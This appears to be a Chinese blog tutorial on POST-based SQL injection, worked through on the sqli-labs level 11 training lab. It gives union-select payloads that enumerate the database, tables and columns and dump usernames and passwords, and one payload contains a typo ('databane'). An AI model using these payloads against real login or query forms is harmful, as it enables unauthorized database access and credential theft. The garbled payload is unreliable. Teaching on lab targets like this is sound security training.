SQL注入之post注入

目录

get传参和post传参区别

post注入

post注入实例

实验环境

实验步骤

1、输入1'出现报错语句,发现注入点

2、爆出列数

3、使用联合查询,爆出数库名

4、爆出表名

5、爆出列名

6、爆出数据


get传参和post传参区别

使用方式和数据传输方式:
GET请求通过URL的请求行来提交数据,这些数据在URL中是可见的。
POST请求通过HTTP请求体来传输数据,这些数据在URL中是不可见的。
请求长度限制:
GET请求的参数是通过URL传输的,而URL的长度往往被浏览器所限制,通常为2048个字符,因此GET请求的参数传输长度是被限制的。
POST请求的参数是存放在请求正文即request body中的,因此对数据类型没有限制,也允许二进制数据,没有明确的长度限制。
安全性:
GET请求的参数是明文传输的,因此不适合传输敏感信息,如密码等。
POST请求将参数放在请求体中,相对于GET请求更加安全,可以传输敏感信息。
缓存:
GET请求可以被缓存,因为GET请求是幂等的,即多次相同的GET请求对服务器的状态没有影响,可以使用缓存来提高性能。
POST请求不能被缓存,因为POST请求可能对服务器的状态产生影响,每次请求都需要重新向服务器获取最新的数据。
幂等性:
GET请求是幂等的,即多次相同的GET请求对服务器的状态没有影响,不会改变服务器的数据。
POST请求不是幂等的,多次相同的POST请求会对服务器的状态产生影响,可能会改变服务器的数据。

post注入

post注入是一种常见的网络攻击方式,其本质在于将用户输入的数据作为代码执行。这种攻击通常发生在用户通过POST请求提交数据时,如果程序没有对用户输入进行适当的过滤或验证,攻击者就可以通过在提交的数据中插入恶意注入来访问、修改或删除数据库中的数据。POST注入的高危点包括登录框、查询框以及任何与数据库有交互的表单。

post注入实例

实验环境

sql-lab第11关

实验步骤

1、输入1'出现报错语句,发现注入点

2、爆出列数

在使用order时候,发现使用第三行排序时会报错

3、使用联合查询,爆出数库名

注入语句:

-1' union select databane(),2#

4、爆出表名

注入语句:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

5、爆出列名

注入语句:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

6、爆出数据

注入语句:

-1' union select group_concat(username),group_concat(password) from users#


不嫌弃的点点关注,点点赞 ଘ(੭ˊᵕˋ)੭* ੈ✩‧₊˚

  • 15
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值